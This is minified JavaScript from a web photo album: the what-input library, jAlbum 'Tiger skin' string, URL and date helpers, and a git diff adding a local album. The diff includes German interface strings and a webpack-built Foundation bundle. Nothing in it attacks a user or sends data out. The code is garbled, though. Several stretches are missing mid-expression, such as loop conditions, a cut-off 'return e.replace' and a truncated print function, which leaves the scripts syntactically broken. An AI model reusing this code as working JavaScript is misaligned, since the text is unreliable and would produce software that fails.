window&&(window.addEventListener("touchstart",m,e),window.addEventListener("touchend",m))),window.addEventListener(b(),y,e),window.addEventListener("keydown",m),window.addEventListener("keyup",m),window.addEventListener("focusin",g),window.addEventListener("focusout",E)},m=function(e){var t=e.which,n=p[e.type];"pointer"===n&&(n=L(e));var o=!w.length&&-1===c.indexOf(t),i=w.length&&-1!==w.indexOf(t),r="keyboard"===n&&t&&(o||i)||"mouse"===n||"touch"===n;if(x(n)&&(r=!1),r&&a!==n){a=n;try{window.sessionStorage.setItem("what-input",a)}catch(e){}v("input")}if(r&&u!==n){var s=document.activeElement;if(s&&s.nodeName&&-1===d.indexOf(s.nodeName.toLowerCase())||"button"===s.nodeName.toLowerCase()&&!k(s,"form")){u=n;try{window.sessionStorage.setItem("what-intent",u)}catch(e){}v("intent")}}},v=function(e){t.setAttribute("data-what"+e,"input"===e?a:u),S(e)},y=function(e){var t=p[e.type];if("pointer"===t&&(t=L(e)),M(e),!r&&!x(t)&&u!==t){u=t;try{window.sessionStorage.setItem("what-intent",u)}catch(e){}v("intent")}},g=function(e){e.target.nodeName?(n=e.target.nodeName.toLowerCase(),t.setAttribute("data-whatelement",n),e.target.classList&&e.target.classList.length&&t.setAttribute("data-whatclasses",e.target.classList.toString().replace(" ",","))):E()},E=function(){n=null,t.removeAttribute("data-whatelement"),t.removeAttribute("data-whatclasses")},L=function(e){return"number"==typeof e.pointerType?f[e.pointerType]:"pen"===e.pointerType?"touch":e.pointerType},x=function(e){var t=Date.now(),n="mouse"===e&&"touch"===a&&t-o<200;return o=t,n},b=function(){return"onwheel"in document.createElement("div")?"wheel":void 0!==document.onmousewheel?"mousewheel":"DOMMouseScroll"},S=function(e){for(var t=0,n=i.length;t=0&&n[t.charCodeAt(e)];)--e;for(++e;r6&&n.length-r<20?n.substring(0,r):n)+"..."}),String.prototype.hasOwnProperty("startsWith")||(String.prototype.startsWith=function(t){return 0===(this+"").indexOf(t)}),String.prototype.hasOwnProperty("endsWith")||(String.prototype.endsWith=function(t){return(this+"").substring(this.length-t.length)===t}),String.prototype.capitalize=function(){return this.charAt(0).toUpperCase()+this.slice(1)},String.prototype.unCamelCase=function(){return this.replace(/([a-z])([A-Z])/g,"$1-$2").toLowerCase()},String.prototype.getExt=function(){var t=this+"",e=t.lastIndexOf(".");return e<=0||e>=t.length-1?"":t.substring(e+1)},String.prototype.stripExt=function(){var t=this+"",e=t.lastIndexOf(".");return e<=0||e>t.length-1?t:t.substring(0,e)},String.prototype.hasExt=function(t){var e=this+"",n=e.lastIndexOf(".");return n>=0&&(e=e.substring(n+1).toLowerCase(),(t+",").indexOf(e+",")>=0)},String.prototype.replaceExt=function(t){var e=this+"",n=e.lastIndexOf(".");return n<=0?e:e.substring(0,n+1)+t},String.prototype.fixExtension=function(){return(this+"").replace(/.gif$/gi,".png").replace(/.tif+$/gi,".jpg")},String.prototype.getDir=function(){var t=(this+"").split("#")[0];return t.substring(0,t.lastIndexOf("/")+1)},String.prototype.getFile=function(){var t=(this+"").split("#")[0];return t.substring(t.lastIndexOf("/")+1)},String.prototype.getRelpath=function(t){var e=this+"",n=e.lastIndexOf("#");for(-1===n?n=e.length-1:n--;n>=0&&("/"!==e[n]||0!=t--);n--);return e.substring(n+1)},String.prototype.fixUrl=function(){for(var t,e,n=this+"";(t=n.indexOf("../"))>0;){if(1===t||-1===(e=n.lastIndexOf("/",t-2)))return n.substring(t+3);n=n.substring(0,e)+n.substring(t+2)}return n},String.prototype.fullUrl=function(){var t=this+"";return t.match(/^(http|ftp|file)/)||(t=window.location.href.getDir()+t),t.fixUrl()},String.prototype.cleanupHTML=function(){for(var t=[[/<(b|h)r\/?>/gi,"\n"],[/\&/g,"&"],[/\ /g," "],[/\</g,"<"],[/\>/g,">"],[/\&(m|n)dash;/g,"-"],[/\'/g,"'"],[/\"/g,'"']],e=this+"",n=t.length-1;n>=0;n--)e=e.replace(t[n][0],t[n][1]);return e.replace},String.prototype.stripHTML=function(t){var e=this+"";return t&&(e=e.cleanupHTML()),e.replace(/<\/?[^>]+>/g," ")},String.prototype.stripQuote=function(){return(this+"").replace(/\"/gi,""")},String.prototype.appendSep=function(t,e){return(this.length?this+(e||" · "):"")+t},String.prototype.rgb2hex=function(){var t=this+"";if("#"===t.charAt(0)||"transparent"===t)return t;var e,n=t.match(/\d+/g),r="";if(n){for(var o=0;o0&&n.push.apply(n,t.substring(0,e).split(" ")),t=t.substring(e+1),(e=t.indexOf('"'))<0){n.push(t);break}n.push(t.substring(0,e)),t=t.substring(e+1)}while(t.length);return n},String.prototype.objectify=function(){if(!this||!this.length)return this;var t=this+"";"?"!==t.charAt(0)&&"#"!==t.charAt(0)||(t=t.substring(1));for(var e,n={},r=t.split("&"),o=0,i=r.length;o1&&("img"===e[0]?n.img=e[1]:n[e[0]]=decodeURIComponent(e[1]));return n},String.prototype.testIn=function(t){return"string"!=typeof t&&(t+=""),new RegExp(this,"i").test(t)},String.prototype.testExactMatch=function(t){if(t.constructor!==Array)return this==t+"";for(var e=0,n=t.length;en?n:e},Math.getRange=function(t,e){if(e.constructor!==Array)return t>=e?1:0;if(1===e.length)return t>=e[0]?1:0;if(t=e[n-1]&&t';DIR_PATH=function(){var t=window.location.pathname,e=document.getElementsByTagName("html")[0].getAttribute("data-level")||0;do{t=t.substring(0,t.lastIndexOf("/"))}while(e--);return t+"/"}(),isEmpty=function(t){return null==t||0===Object.getOwnPropertyNames(t).length},paramize=function(t){if("number"==typeof t)return""+t;if("string"==typeof t)return t;if("object"==typeof t){for(var e="",n=Object.getOwnPropertyNames(t),r=n.length,o=0;o=730?(e=translate("yearsAgo"),n=Math.round(t/365)):t>=60?(e=translate("monthsAgo"),n=Math.round(t/30.5)):(e=translate("daysAgo"),n=t),e.replace("{0}",n)},getTimespan=function(t){if(!t)return translate("inThePast24Hours");if(t<2)return translate("inThePast48Hours");var e,n;return t>=730?(e=translate("inThePastNYears"),n=Math.round(t/365)):t>=60?(e=translate("inThePastNMonths"),n=Math.round(t/30.42)):(e=translate("inThePastNDays"),n=t),e.replace("{0}",n)},getFractionValue=function(t){var e=t.match(/^([\d\.]+)\/([\d\.]+)/);return e&&e.length>1&&0!==e[2]?e[1]/e[2]:t},getExposure=function(t){return t=t.includes("/")?getFractionValue(t):parseFloat(t)},getRelativePath=function(t,e){if(typeof e===UNDEF||!e.length||typeof t===UNDEF||!t.length)return"";if(e.endsWith("/")||(e+="/"),"/"===t)return e;if(t.endsWith("/")||(t+="/"),t===e)return"";var n="../../../../../../../../../../../../../../../../../../../../",r=t.split("/");if("/"===e)return n.substring(0,3*r.length);for(var o=e.split("/");r.length&&o.length&&r[0]===o[0];)r.shift(),o.shift();return n.substring(0,3*(r.length-1))+o.join("/")},encodeAsJava=function(t){var e="";for(t=/^(https?:|file:)?\/\//i.test(t)?encodeURI(t):encodeURIComponent(t),i=0;i1?r:t||"index.html")}},setParam=function(t,e,n){if(HISTORY){var r="#"+paramize(e);r!==window.location.hash&&history.pushState(e,void 0===n?"":n,r.length>1?r:t||"index.html")}},removeParam=function(t,e,n){if(HISTORY){var r,o=window.location.hash;o&&(void 0===e?(o="",history.pushState("","",t||"index.html")):("#"===o.charAt(0)&&(o=o.substring(1)),(r=o.objectify()).hasOwnProperty(e)&&(delete r[e],o="#"+paramize(r)),history.pushState(r,void 0===n?"":n,o.length>1?o:t||"index.html")))}},removeSearch=function(t){HISTORY&&history.replaceState(history.state,void 0===t?"":t,window.location.href.replace(window.location.search,""))},readParam=function(){if(HISTORY){if(history.state)return history.state.hasOwnProperty("img")&&(history.state.img=encodeURIComponent(history.state.img)),history.state;var t=window.location.hash;return"#"===t.charAt(0)&&(t=t.substring(1)),t.objectify()}return null},pushAll=function(t,e){if(t instanceof Array)if(e instanceof Array)for(var n=0,r=e.length;n]*\swidth="([\d\.]+)(r?em|px)"/i)||t.match(/<\w+\s[^>]*\sstyle=".*width:\s?([\d\.]+)(r?em|px)"/i),n=t.match(/<\w+\s[^>]*\sheight="([\d\.]+)(r?em|px)"/i)||t.match(/<\w+\s[^>]*\sstyle=".*height:\s?([\d\.]+)(r?em|px)"/i),e?(r[0]=parseFloat(e[1]),"px"!==e[2]&&(r[0]*=16),n?(r[1]=parseFloat(n[1]),"px"!==n[2]&&(r[1]*=16)):r[1]=.75*r[0],r):null):null},currencyToHtml={USD:"US$",EUR:"€",GBP:"GB£",JPY:"¥",HUF:"Ft",CAD:"CAN$",AUD:"AU$",RUB:"₽"},codeToCurrency=function(t){return currencyToHtml.hasOwnProperty(t)?currencyToHtml[t]:t},currencyToHtmlShort={USD:"$",EUR:"€",GBP:"£",JPY:"¥",HUF:"Ft",CAD:"$",AUD:"$",RUB:"₽"},codeToShortCurrency=function(t){return currencyToHtmlShort.hasOwnProperty(t)?currencyToHtmlShort[t]:t},printImage=function(t,e,n){if(t){var r=window.open("about:blank","print","location=no,status=no,titlebar=no");r.document.open(),r.document.write('\n\n\n\n'+(e||"Print")+'\n + + + + + + + + + +
    + + +
    + + + + diff --git a/public/fotoalbum/Nikolausaktion-Kleingartach/album/lifeboat.zip b/public/fotoalbum/Nikolausaktion-Kleingartach/album/lifeboat.zip new file mode 100644 index 00000000..c95ec82a Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Kleingartach/album/lifeboat.zip differ diff --git a/public/fotoalbum/Nikolausaktion-Kleingartach/album/res/all.min.js b/public/fotoalbum/Nikolausaktion-Kleingartach/album/res/all.min.js new file mode 100644 index 00000000..40ff14e1 --- /dev/null +++ b/public/fotoalbum/Nikolausaktion-Kleingartach/album/res/all.min.js @@ -0,0 +1,27 @@ +/* all.min.js - Tiger skin scripts */ +var VER='2.13.6',DEBUG=false; +;Texts = {and:'und',from:'Von {0}',databaseMissingOrBroken:'The current folder´s database file is missing or broken!',checkProcessSubdirectories:'Check if you´ve allowed jAlbum to process the subdirectories and "Make album" again!',uploadAlbumAgain:'If you´re the owner try to "Upload" the album again!',localAccessBlocked:'Local access to the album´s database file is blocked by your browser. This does not affect the uploaded album! Use jAlbum´s Preview (F12) for testing!',closeWindow:'Fenster schließen',okButton:'OK',warning:'Warnung',error:'Fehler',today:'heute',yesterday:'gestern',daysAgo:'Vor {0} Tagen',monthsAgo:'Vor {0} Monaten',yearsAgo:'Vor {0} Jahren',addCart:'In den Warenkorb',shoppingCart:'Warenkorb',edit:'Bearbeiten',continueShopping:'Weiter einkaufen',added:'Hinzugefügt...',buyNow:'Jetzt kaufen',processedByPaypal:'Die Bezahlung wird durch PayPal abgewickelt',viewCart:'Warenkorb prüfen',emptyCart:'Warenkorb leeren',removeAllItems:'Alle Artikel entfernen?',yes:'Ja',no:'Nein',noMoreItems:'Bei PayPal können Sie nicht mehr als 99 Artikel gleichzeitig kaufen. Es wurden nur die ersten 99 hinzugefügt.',item:'Artikel',items:'Artikel',success:'Erfolgreich',couponCode:'Gutscheincode',redeem:'Einlösen',noSuch:'Dieser Gutschein existiert nicht!',expired:'Der Gutscheincode {0} ist abgelaufen!',lowerThanCurrent:'Dieser Coupon bietet weniger Rabatt als der aktuelle {0}.',reclaimed:'Dieser Gutschein wurde bereits benutzt!',select:'Auswählen',all:'Alle',none:'Keine',selectedItems:'Markierte Artikel',shoppingcartInfo:'Dieser Artikel wurde dem Warenkorb hinzugefügt. Nach Schließen des Leuchtkastens können Sie ihn durch Drücken des "Jetzt kaufen"-Buttons erwerben.',subtotal:'Zwischensumme',total:'Summe',shippingAndHandling:'Versand',reduction:'Ersparnis',discount:'Rabatt',tax:'Steuer',remove:'Entfernen',couponAccepted:'Gutschein akzeptiert, rabattiere {0}.',couponRemoved:'Der Gutschein wurde entfernt.',amountLowerThan:'Die Summe ist niedriger als der Rabatt {0}.',addMoreItems:'Fügen Sie {0} weitere Artikel hinzu um den Rabatt zu erhalten!',validAbove:'Gültig nur sofern Warenkorbwert größer als {0}.',higherThanTotal:'Der Coupon hat einen höheren Rabatt ({0}) als die Gesamtsumme.',minAmountWarning:'Dieser Gutschein kann nur benutzt werden, wenn die Summe größer ist als {0}.',minQuantityWarning:'Dieser Gutschein kann nur benutzt werden, wenn die Anzahl größer ist als {0}.',maxNItems:'Maximal {0} Artikel erlaubt!',continueBrowsing:'Weiter surfen',feedback:'Feedback',sendFeedback:'Feedback versenden',addComment:'Kommentar hinzufügen',viewFeedbackCart:'Feedback Fenster',feedbackOnAlbum:'Feedback zum Album',dismissFeedback:'Kommentar löschen',removeAllItems:'Alle Artikel entfernen?',to:'An',subject:'Betreff',warning:'Warnung',removeAll:'Alle entfernen',copiedToClipboard:'In die Zwischenablage kopiert!',messageSent:'Nachricht versendet',errorSending:'Fehler beim E-Mail Versand!',emailMissing:'E-Mail Adresse fehlt oder ist im falschen Format!',tooLong:'Text ist zu lang oder zu viele Artikel!',copyInstructions:'Der Text wurde in Ihre Zwischenablage kopiert. Wechseln Sie nun zur E-Mail-Anwendung (oder zu Webmail) und fügen Sie sie ein. Springen Sie zu "An" und "Betreff" in die entsprechenden Felder!',feedbackButtonExplanation:'Versuchen Sie "Senden", wenn Sie eine E-Mail-Anwendung installiert haben, verwenden Sie "Kopieren" für Webmail!',share:'Teilen',shareOn:'Teilen auf',checkThisOut:'Check this out',localWarning:'Lokale Alben können nicht geteilt werden. Bitte das Album erst hochladen!',foundNTimes:'{0} Bild(er)',notFound:'Nicht gefunden',search:'Suche',newImages:'Neue Bilder',results:'Results',reset:'Reset',label:'Label',return:'Zurück',select:'Auswählen',sortBy:'Sort by',sortedBy:'Sorted by',ascending:'ascending',descending:'descending',multipleSelectHint:'Use SHIFT to select range, CTRL for multiple entries',newItem:'NEU',today:'heute',inThePast24Hours:'In den letzten 24 Stunden',inThePast48Hours:'In den letzten 48 Stunden',inTheLastDay:'Gestern',inThePastNDays:'In den letzten {0} Tagen',inThePastNMonths:'In den letzten {0} Monaten',inThePastNYears:'In den letzten {0} Jahren',sinceMyLastVisit:'Seit dem letzten Besuch',imagesAdded:'Neu zugefügt',imagesModified:'Geändert',imagesTaken:'Aufgenommen',startSlideshow:'Diashow starten',startSlideshowShort:'Starten',atFirstPage:'Erste Seite',atLastPage:'Letzte Seite',atLastPageQuestion:'Wohin nun weiter?',startOver:'Erneut starten',backToHome:'Eine Ebene höher',stop:'Stopp',pause:'Pause',pauseShort:'Pause',upOneLevel:'Eine Ebene nach oben',upOneLevelShort:'Abbrechen',backToIndex:'Zurück zur Miniaturansichtsseite / eine Ebene höher Esc',previousPicture:'Vorheriges Bild',previousPictureShort:'Vorheriges',nextPicture:'Nächstes Bild',nextPictureShort:'Nächstes',previousFolder:'Vorheriger Ordner',nextFolder:'Nächster Ordner',oneToOneSize:'Normalgröße',oneToOneSizeShort:'1:1',fullscreen:'Full screen',exitFullscreen:'Exit full screen',fullscreenShort:'Fullscr',exitFullscreenShort:'Normal',fitToScreen:'Auf Fenstergröße anpassen',fitToScreenShort:'anpassen',showInfo:'Zeige Beschriftung / Info',showInfoShort:'Info anzeigen',hideInfo:'Verberge Beschriftung / Info',hideInfoShort:'Info ausblenden',showThumbs:'Miniaturen anzeigen',showThumbsShort:'Miniaturen',hideThumbs:'Miniaturen verbergen',hideThumbsShort:'Hide thumbs',clickToOpen:'Anklicken um das Dokument mit dem zugeordneten Programm anzuzeigen',rating:'Rating',metaBtn:'Bilddaten',metaLabel:'Bilddaten (Exif/Iptc) anzeigen',mapBtn:'Karte',mapLabel:'Aufnahmeort auf der Karte anzeigen',shopBtn:'Kaufen',shopLabel:'Zeige Optionen dieses Bild zu kaufen',viewCartLabel:'Zeige den Warenkorb',feedbackLabel:'Zeige Feedback Fenster',shareBtn:'Teilen',shareLabel:'Dieses Bild in Sozialen Netzwerken teilen',download:'Herunterladen',print:'Drucken',printLabel:'Dieses Bild auf Ihrem Drucker drucken',fotomotoBtn:'Kaufen / Teilen',fotomotoLabel:'Abzüge oder Bilddateien kaufen, Bilder teilen oder kostenlos eCards versenden',mostphotosBtn:'Kaufen',mostphotosLabel:'Dieses Bild von mostphotos.com herunterladen!',regionsBtn:'Menschen',regionsLabel:'Zeige markierte Menschen',sendFeedback:'Feedback versenden',message:'Nachricht',subject:'Betreff',comment:'Kommentar',yourEmail:'Ihre Mail-Adresse',send:'Senden',messageSent:'Nachricht versendet',errorSending:'Fehler beim E-Mail Versand!',tooLong:'Text ist zu lang oder zu viele Artikel!',emailMissing:'E-Mail Adresse fehlt oder ist im falschen Format!',noItemsSelected:'Nichts ausgewählt',selectItemsHint:'Wählen Sie zunächst die gewünschten Artikel aus!',scrollTopTooltip:'Nach oben',more:'mehr',less:'weniger',locationWarning:'Funktioniert nur nach dem Upload',cookiePolicyText:'Dieses Album nutzt Cookies um Nutzereinstellungen zu speichern. Durch die Nutzung stimmen Sie der Speicherung unserer Cookies zu.',cookiePolicyAgree:'Verstanden',cookiePolicyLearnMore:'Mehr Informationen',gdprComplianceText:'Diese Website verwendet die folgenden externen Dienste, die Ihre Besuche anonym verfolgen können. Durch Deaktivieren der Nachverfolgung wird ihre Funktionalität beendet.',allowAll:'Alle erlauben',denyAll:'Alle verbieten',allowSelected:'Erlaube ausgewählte'}; +!function(n,e){if("object"==typeof exports&&"object"==typeof module)module.exports=e(require("jquery"));else if("function"==typeof define&&define.amd)define(["jquery"],e);else{var t="object"==typeof exports?e(require("jquery")):e(n.jQuery);for(var o in t)("object"==typeof exports?exports:n)[o]=t[o]}}(window,function(__WEBPACK_EXTERNAL_MODULE_jquery__){return function(t){var o={};function i(n){if(o[n])return o[n].exports;var e=o[n]={i:n,l:!1,exports:{}};return t[n].call(e.exports,e,e.exports,i),e.l=!0,e.exports}return i.m=t,i.c=o,i.d=function(n,e,t){i.o(n,e)||Object.defineProperty(n,e,{enumerable:!0,get:t})},i.r=function(n){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(n,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(n,"__esModule",{value:!0})},i.t=function(e,n){if(1&n&&(e=i(e)),8&n)return e;if(4&n&&"object"==typeof e&&e&&e.__esModule)return e;var t=Object.create(null);if(i.r(t),Object.defineProperty(t,"default",{enumerable:!0,value:e}),2&n&&"string"!=typeof e)for(var o in e)i.d(t,o,function(n){return e[n]}.bind(null,o));return t},i.n=function(n){var e=n&&n.__esModule?function(){return n.default}:function(){return n};return i.d(e,"a",e),e},i.o=function(n,e){return Object.prototype.hasOwnProperty.call(n,e)},i.p="",i(i.s="../../../../../../tmp/tmp.6.5.1.76b4e74bdc72140cd4249f18753d2411/js/vendor/foundation.js")}({"../../../../../../tmp/tmp.6.5.1.76b4e74bdc72140cd4249f18753d2411/js/vendor/foundation.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval('__webpack_require__.r(__webpack_exports__);\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./js/foundation.core */ "./js/foundation.core.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./js/foundation.util.mediaQuery */ "./js/foundation.util.mediaQuery.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_util_triggers__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./js/foundation.util.triggers */ "./js/foundation.util.triggers.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_dropdownMenu__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./js/foundation.dropdownMenu */ "./js/foundation.dropdownMenu.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_responsiveMenu__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./js/foundation.responsiveMenu */ "./js/foundation.responsiveMenu.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_reveal__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./js/foundation.reveal */ "./js/foundation.reveal.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_responsiveToggle__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(/*! ./js/foundation.responsiveToggle */ "./js/foundation.responsiveToggle.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_toggler__WEBPACK_IMPORTED_MODULE_8__ = __webpack_require__(/*! ./js/foundation.toggler */ "./js/foundation.toggler.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_smoothScroll__WEBPACK_IMPORTED_MODULE_9__ = __webpack_require__(/*! ./js/foundation.smoothScroll */ "./js/foundation.smoothScroll.js");\n\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].addToJquery(jquery__WEBPACK_IMPORTED_MODULE_0___default.a);\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].MediaQuery = _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_2__["MediaQuery"];\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_util_triggers__WEBPACK_IMPORTED_MODULE_3__["Triggers"].init(jquery__WEBPACK_IMPORTED_MODULE_0___default.a, _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"]);\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].plugin(_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_dropdownMenu__WEBPACK_IMPORTED_MODULE_4__["DropdownMenu"], \'DropdownMenu\');\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].plugin(_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_responsiveMenu__WEBPACK_IMPORTED_MODULE_5__["ResponsiveMenu"], \'ResponsiveMenu\');\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].plugin(_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_reveal__WEBPACK_IMPORTED_MODULE_6__["Reveal"], \'Reveal\');\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].plugin(_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_responsiveToggle__WEBPACK_IMPORTED_MODULE_7__["ResponsiveToggle"], \'ResponsiveToggle\');\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].plugin(_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_toggler__WEBPACK_IMPORTED_MODULE_8__["Toggler"], \'Toggler\');\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].plugin(_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_smoothScroll__WEBPACK_IMPORTED_MODULE_9__["SmoothScroll"], \'SmoothScroll\');\n\n//# sourceURL=webpack:////tmp/tmp.6.5.1.76b4e74bdc72140cd4249f18753d2411/js/vendor/foundation.js?')},"./js/foundation.accordionMenu.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"AccordionMenu\", function() { return AccordionMenu; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.keyboard */ \"./js/foundation.util.keyboard.js\");\n/* harmony import */ var _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.nest */ \"./js/foundation.util.nest.js\");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.core.plugin */ \"./js/foundation.core.plugin.js\");\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n\n/**\n * AccordionMenu module.\n * @module foundation.accordionMenu\n * @requires foundation.util.keyboard\n * @requires foundation.util.nest\n */\n\nvar AccordionMenu =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(AccordionMenu, _Plugin);\n\n function AccordionMenu() {\n _classCallCheck(this, AccordionMenu);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(AccordionMenu).apply(this, arguments));\n }\n\n _createClass(AccordionMenu, [{\n key: \"_setup\",\n\n /**\n * Creates a new instance of an accordion menu.\n * @class\n * @name AccordionMenu\n * @fires AccordionMenu#init\n * @param {jQuery} element - jQuery object to make into an accordion menu.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = element;\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, AccordionMenu.defaults, this.$element.data(), options);\n this.className = 'AccordionMenu'; // ie9 back compat\n\n this._init();\n\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__[\"Keyboard\"].register('AccordionMenu', {\n 'ENTER': 'toggle',\n 'SPACE': 'toggle',\n 'ARROW_RIGHT': 'open',\n 'ARROW_UP': 'up',\n 'ARROW_DOWN': 'down',\n 'ARROW_LEFT': 'close',\n 'ESCAPE': 'closeAll'\n });\n }\n /**\n * Initializes the accordion menu by hiding all nested menus.\n * @private\n */\n\n }, {\n key: \"_init\",\n value: function _init() {\n _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__[\"Nest\"].Feather(this.$element, 'accordion');\n\n var _this = this;\n\n this.$element.find('[data-submenu]').not('.is-active').slideUp(0); //.find('a').css('padding-left', '1rem');\n\n this.$element.attr({\n 'role': 'tree',\n 'aria-multiselectable': this.options.multiOpen\n });\n this.$menuLinks = this.$element.find('.is-accordion-submenu-parent');\n this.$menuLinks.each(function () {\n var linkId = this.id || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"GetYoDigits\"])(6, 'acc-menu-link'),\n $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n $sub = $elem.children('[data-submenu]'),\n subId = $sub[0].id || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"GetYoDigits\"])(6, 'acc-menu'),\n isActive = $sub.hasClass('is-active');\n\n if (_this.options.parentLink) 